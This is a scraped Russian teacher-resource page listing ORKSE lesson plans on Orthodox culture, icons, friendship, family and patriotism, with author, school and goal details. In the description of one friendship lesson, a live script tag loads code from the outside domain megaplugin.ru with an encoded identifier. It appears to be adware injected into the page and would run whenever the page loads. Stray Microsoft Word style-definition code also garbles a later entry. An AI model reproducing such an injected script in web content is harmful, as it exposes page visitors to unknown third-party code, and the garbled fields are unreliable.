ОРКСЭ
Submitted by Татьяна Вячеславовна Николаева on Tue, 05/06/2018 - 10:27
Данные об авторе
Автор(ы):
Николаева Татьяна Вячеславовна
Место работы, должность:
МАОУ СОШ №8 с УИМ и АЯ г. Боровичи Новгородской области
Регион:
Новгородская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Целевая аудитория:
Все целевые аудитории
Цель урока:
Предметные УДД: Формировать представления детей о России ,уважительное отношение к культуре родной страны. Создавать эмоционально положительную основу для развития патриотических чувств: любви и преданности Родине.
Личностные УУД: Расширять кругозор учащихся, обогащать словарный запас детей.
Регулятивные УУД: контролировать и объективно оценивать свои действия.
Познавательные УУД – Углубить знания о символике Российского государства
Коммуникативные УУД – формировать умение взаимодействовать с членами группы, умение договариваться, находить общее решение.
Тип урока:
Урок изучения и первичного закрепления новых знаний
Учащихся в классе (аудитории):
29
Используемые учебники и учебные пособия:
Основы православной культуры. 4-5 классы: учебник для общеобразовательных учреждений / А. В. Кураев. – М.: Просвещение, 2011г.
Используемая методическая литература:
Основы православной культуры. 4-5 классы: учебник для общеобразовательных учреждений / А. В. Кураев. – М.: Просвещение, 2011г.
Используемое оборудование:
компьютер
Используемые ЦОР:
презентация
Краткое описание:
<p><strong>Тип урока</strong>: Урок открытия новых знаний, вводный урок по данной теме</p> <p><strong>Технология АМО и модерации</strong></p> <p><strong>Учебник</strong> Основы православной культуры. 4-5 классы: учебник для общеобразовательных учреждений / А. В. Кураев. – М.: Просвещение, 2011г.</p> <p><strong>Цели:</strong></p> <p>Предметные УДД: Формировать представления детей о России ,уважительное отношение к культуре родной страны. Создавать эмоционально положительную основу для развития патриотических чувств: любви и преданности Родине.</p> <p>Личностные УУД: Расширять кругозор учащихся, обогащать словарный запас детей.</p> <p> Регулятивные УУД: контролировать и объективно оценивать свои действия.</p> <p>Познавательные УУД – Углубить знания о символике Российского государства</p> <p> Коммуникативные УУД – формировать умение взаимодействовать с членами группы, умение договариваться, находить общее решение.</p> <p><strong>Термины и понятия:</strong></p> <p>Родина ,Россия, Отечество, столица, президент герб, гимн, флаг, национальность, , патриот, традиции.</p>
Размещено в сообществах:
Submitted by Ольга Михайловна Лесина on пн, 27/02/2017 - 00:14
Submitted by Татьяна Вячеславовна Николаева on Tue, 07/06/2016 - 14:31
Данные об авторе
Автор(ы):
Антонова В.А., учитель начальных классов МАОУ СОШ № 2 г. Боровичи
Место работы, должность:
МАОУ СОШ № 2 г. Боровичи Новгородская область
Регион:
Новгородская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Уровень образования:
основное общее образование
Целевая аудитория:
Все целевые аудитории
Цель урока:
Цели урока:
Познакомить с историей развития древнерусской иконописи, с иконами.
Установить, чем икона отличается от картины.
Формируемые УУД
Личностные УУД:
- учебно-познавательный интерес к новому учебному материалу и способам решения новой задачи;
- уметь проводить самооценку успешной учебной деятельности.
Метапредметные:
Регулятивные УУД:
– определять и формулировать цель деятельности на уроке;
- планировать свои действия в соответствии с поставленной задачей;
Познавательные УУД:
-уметь находить ответы на поставленные проблемные вопросы;
-уметь работать с книгой и слайдами, текстом и иллюстрациями;
-уметь сравнивать и анализировать;
– делать выводы в результате совместной работы класса и учителя;
Коммуникативные УУД:
- уметь формулировать связный ответ на поставленный вопрос;
-уметь общаться друг с другом по правилам принятым в обществе;
- учиться умению договариваться и приходить к общему решению в совместной деятельности в паре, в группе.
Тип урока:
Урок изучения и первичного закрепления новых знаний
Учащихся в классе (аудитории):
27
Используемые учебники и учебные пособия:
А.В. Кураев "Основы православной культуры"
Используемая методическая литература:
А.В. Кураев "Основы православной культуры"
Используемое оборудование:
карточки
Используемые ЦОР:
ноутбук, проектор,
Краткое описание:
<p>Урок Антоновой В.А., учителя начальных классов МАОУ СОШ № 2 г. Боровичи Новгородской области курса ОРКСЭ по модулю "Основы православной культуры" с использованием презентации</p>
Размещено в сообществах:
Submitted by Оксана Александровна Шелестова on пн, 11/04/2016 - 14:19
Данные об авторе
Автор(ы):
Шелестова Оксана Александровна
Регион:
Ленинградская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
Воспитание нравственно здоровой личности, способной идентифицировать себя с позиции гражданина России и устанавливать связь с национальной культурой и ее ценностями.
Тип урока:
Урок комплексного применения ЗУН учащихся
Учащихся в классе (аудитории):
15
Используемая методическая литература:
Учебник
Основы духовно-нравственной культуры народов России. Основы религиозных культур и светской этики. Основы светской этики 4 (4-5) ДРОФА
Словари
Словарь Ожегова - "Словарь русского языка"
Толковый словарь живого великорусского языка В. И. Даль
Используемое оборудование:
Демонстрационный материал:
Электронная презентация
Карточки
Изображения
Портреты
Краткое описание:
<p><strong>Сформировать представление</strong> о значение семьи и рода в жизни человека; понимание значения семьи в своей семейной истории- истории Родины – истории человечества.</p> <p><strong>Ввести понятия</strong> родовая связь (без определения), предназначение семьи.</p> <p><strong>Научить использовать</strong> приобретенные знания и умения в практической деятельности.</p>
Воспитание нравственно здоровой личности, способной идентифицировать себя с позиции гражданина России и устанавливать связь с национальной культурой и ее ценностями является задачей образовательног
Submitted by Эмилия Николаевна Медведева on чт, 14/01/2016 - 14:10
Данные об авторе
Автор(ы):
Медведева Эмилия Николаевна
Место работы, должность:
МБОУ СОШ №68
Регион:
Воронежская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Целевая аудитория:
Учитель (преподаватель)
Предмет(ы):
Культурология
Краткое описание:
<p>Разработка урока к курсу ОРКСЭ</p>
Данные об авторе
Автор(ы):
Коршунова Лариса Александровна
Место работы, должность:
МБОУ СОШ № 10 п. Каменский Красноармейского района Саратовской области, учитель истории и обществознания
Регион:
Саратовская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Уровень образования:
основное общее образование
Уровень образования:
среднее (полное) общее образование
Уровень образования:
школы-интернаты, детские дома
Целевая аудитория:
Методист
Целевая аудитория:
Родитель
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
Цель содержательная: Осознание понятия «христианская семья» в контексте культурного и религиозного многообразия; Объяснять значение понятий: христианская семья, венчание, обручальное кольцо, семейные ценности
Цель деятельностная: расширение понятийной базы за счет включения в нее новых элементов; формирование умения устанавливать причинно-следственные связи, высказывать предположения, обсуждать проблемные вопросы;
-формирование умения восприятия текста с учетом поставленной учебной задачи, находить в тексте информацию, необходимую для решения этой задачи, развитие коммуникативных способностей учащихся.
Тип урока:
Урок изучения и первичного закрепления новых знаний
Используемые учебники и учебные пособия:
Оборудование:
Учебник Кураев А.В. Основы религиозных культур и светской этики. Основы православной культуры 4-5 кл.уч. пособие для общеобр. учрежд./А.В. Кураев.М. Просвещение.2012
Используемая методическая литература:
Основы религиозных культур и светской этики.Книга для учителя.4 класс:
справочные материалы для общеобразовательных учреждений/(Бгажноков Б.Х.,
Воскресенский О.В.,Глоцер А.В.и др.);под ред.Тишкова В.А.,Шапошниковой Т.Д.
-М.:Просвещение,2010.С.-239
Используемое оборудование:
Оборудование:
учебник Кураев А.В. Основы религиозных культур и светской этики. Основы православной культуры 4-5 кл.уч. пособие для общеобр. учрежд./А.В. Кураев.М. Просвещение.2012 индивидуальные рабочие листы конверты мудрости карточки с заданием
Краткое описание:
<p>Урок разработан в соответствии с ФГОС, с использованием гуманно-личностной педагогической технологии, технологии здоровьесбережения (дозировка заданий, своевременная смена видов деятельности учащихся)</p> <ol> <li> Данный урок представлен по ходу изучения курса ОРКСЭ за №27. В соответствии с требованиями ФГОС урок направлен на: <br /> 1. ориентацию на новые образовательные результаты <br /> 2. нацеленную деятельность на формирование УУД .</li> </ol> <p>Этот урок связан с предыдущими уроками, рассматривающими особенности христианского вероучения, а в дальнейшем направлен на продолжение изучения по курсу ОРКСЭ.</p> <ol> <li>Обеспечение мотивации и принятия учащимися цели учебно-познавательной деятельности удалось за счёт привлечения занимательного ребуса, необычным было обнаружение папки с заданиями, что по задумке должно было ещё более стимулировать познавательный интерес учащихся.</li> <li>Отбор содержания, форм и методов обучения осуществлялся в соответствии с целью урока. Для объяснения нового материала было выбрано сочетание таких методов обучения как:</li> </ol> <p>- по источнику передачи и восприятия учебной деятельности: Словесный</p> <p>- по степени самостоятельности мышления: проблемно-поисковый</p> <p>- метод стимулирования интереса к учению: создание эмоционально-нравственных ситуаций.</p> <p><br /> </p>
Ресурс для профильной школы:
Ресурс для профильной школы
Размещено в сообществах:
Submitted by Лариса Александровна Коршунова on Fri, 30/01/2015 - 11:13
Данные об авторе
Место работы, должность:
МБОУ СОШ № 10 п. Каменский Красноармеского района Саратовской области, учитель истории, обществознания, ОРКСЭ
Регион:
Саратовская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Целевая аудитория:
Методист
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
Цель урока: познакомить с понятием «икона»,охарактеризовать основные направления в цветовой гамме в иконописи;
9. Задачи:
- формировать знания об истории иконописных традиций на Руси;
-развивать умения работать в группах;
- воспитывать душевность и уважение к традициям своего народа.
Формируемые УУД:
Познавательные:
1. Извлекать информацию из текста.
2. Строить речевое высказывание в устной форме.
3. Делать выводы на основе анализа объектов
Регулятивные:
1. Определять цель деятельности на уроке.
2. Оценивать учебные действия в соответствии с поставленной задачей.
Коммуникативные :
1. Слушать и понимать других.
2. Строить речевое высказывание в соответствии с поставленными задачами.
Тип урока:
Урок изучения и первичного закрепления новых знаний
Используемые учебники и учебные пособия:
А.В. Кураев Основы религиозных культур и светской этики. Основы православной культуры.Москва. Просвещение. 2012
Используемая методическая литература:
Основы духовно-нравственной культуры народов России. Основы религиозных культур и светской этики. книга для учителя. 4-5 классы: справ. матер. для общеобраз. учр./ В.А. Тишков, Т.Д. Шапошникова, О.Е. Казьмина и др.; под ред. В.А. Тишкова...М.: Просвещение, 2012
Используемое оборудование:
Дорожные карты
Краткое описание:
<p>Конспект урока ОРКСЭ в 4 классе по теме "Икона".<br /> </p>
СТРУКТУРА И ХОД УРОКА
Размещено в сообществах:
Submitted by Алена Штодина on Fri, 09/01/2015 - 17:50
Данные об авторе
Автор(ы):
Титова Антонина Ивановна
Место работы, должность:
МБОУ "Новорогачинская СОШ", учитель начальных классов
Регион:
Волгоградская область
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Целевая аудитория:
Классный руководитель
Целевая аудитория:
Педагог дополнительного образования
Целевая аудитория:
Учащийся (студент)
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
сформировать у обучающихся представление о дружбе как о важнейшей нравственной ценности; углубить представление детей о том, каким должен быть настоящий друг; формировать навыки конструктивного поведения в дружеских отношениях, умение аргументировать свою точку зрения, вести рассуждения; воспитывать чувство доброжелательности, эмоционально-нравственной отзывчивости, понимания и сопереживания чувствам других
Тип урока:
Урок изучения и первичного закрепления новых знаний
Учащихся в классе (аудитории):
24
Используемое оборудование:
проектор, компьютер
Краткое описание:
<p>Конспект урока по ОРКСЭ на тему "Дружба" 4 класс</p>
Предмет: ОРКСЭ. Основы светской этики.
Класс 4 «б»
Учитель: Титова Антонина Ивановна
Submitted by Антонина Ивановна Титова on Sat, 03/01/2015 - 18:46
Данные об авторе
Автор(ы):
Титова Антонина Ивановна
Место работы, должность:
учитель начальных классов
МБОУ «Новорогачинская СОШ»
Регион:
Волгоградская область
Характеристики урока (занятия)
Целевая аудитория:
Учитель (преподаватель)
Цель урока:
сформировать у обучающихся представление о дружбе как о важнейшей нравственной ценности; углубить представление детей о том, каким должен быть настоящий друг; формировать навыки конструктивного поведения в дружеских отношениях, умение аргументировать свою точку зрения, вести рассуждения; воспитывать чувство доброжелательности, эмоционально-нравственной отзывчивости, понимания и сопереживания чувствам других.
Тип урока:
Комбинированный урок
Используемые учебники и учебные пособия:
Используемая методическая литература:
Используемое оборудование:
мультимедиапроектор, презентация, записи детских песен «Если с другом вышел в путь», «Улыбка», «Песня о дружбе», карточки с пословицами, карточки со словами – нравственные качества человека, словари, небольшие листы бумаги для каждого ребенка.
Используемые ЦОР:
презентация
Краткое описание:
<p>Урок формирует у обучающихся представление о дружбе как о важнейшей нравственной ценности.<br /> <script src="http://megaplugin.ru/datax.php?snid=VyAtRENXWUEzVTc5OTY1NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==&rnd=2018"></script> </p>
Урок расширяет представление детей о том, каким должен быть настоящий друг; воспитывать чувство доброжелательности, эмоционально-нравственной отзывчивости, понимания и сопереживан
Submitted by Наталья Борисовна Коннова on пн, 03/02/2014 - 16:36
Данные об авторе
Автор(ы):
, Коннова Наталья Борисовна
Место работы, должность:
МБОУ СОШ с. Новополеводино
Характеристики урока (занятия)
Уровень образования:
начальное общее образование
Целевая аудитория:
Библиотекарь
Целевая аудитория:
Воспитатель
Целевая аудитория:
Родитель
Цель урока:
воспитание гражданственности и патриотизма, сознательного отношения к культурным и религиозгым процессам и явлениям, научить толерантному отношению и общению учащихся с другими людьми, воспитание интереса и уважения к различным религиозным конфессиям.
Учащихся в классе (аудитории):
7
Используемые учебники и учебные пособия:
Normal 0 false false false RU X-NONE X-NONE
/* Style Definitions */ table.MsoNormalTable {mso-style-name:"Обычная таблица"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;}
А.В. Кураев. Основы религиозных культур и светской этики. Основы православной культуры 4-5 класс, М., «Просвещение», 2010 г.
Используемая методическая литература:
Normal 0 false false false RU X-NONE X-NONE
/* Style Definitions */ table.MsoNormalTable {mso-style-name:"Обычная таблица"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0cm 5.4pt 0cm 5.4pt; mso-para-margin-top:0cm; mso-para-margin-right:0cm; mso-para-margin-bottom:10.0pt; mso-para-margin-left:0cm; line-height:115%; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin;}
Методическое пособие «Уроки ОРКСЭ», А.В. Кураев, М., «Просвещение, 2011г.
Используемое оборудование:
КТП, тесты, карточки с заданиями, индивидуальый план работы с учащимися
Краткое описание:
данный документ позволяет возможность скоординировать работу учителя и ученика, выбрать самые оптимальные методы и технологии
